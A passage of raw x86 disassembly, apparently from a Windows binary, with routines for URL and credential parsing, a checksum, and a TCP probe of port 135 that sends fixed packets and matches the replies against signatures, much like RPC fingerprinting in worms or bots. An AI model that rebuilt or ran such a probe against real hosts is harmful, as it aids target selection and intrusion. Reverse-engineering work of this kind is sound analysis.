call sub_401226 loc_420C73: ; CODE XREF: sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp call near ptr 29103E8h nop lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2871C1Eh push eax call near ptr 2871161h nop mov eax, esi pop esi retn sub_420DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB24, eax mov eax, offset dword_50DB24 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi ; ftell mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C64 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453E0 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453E0 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453E0 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DA8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E1C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444DF4 lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E08 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi call near ptr 71AB9639h nop loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 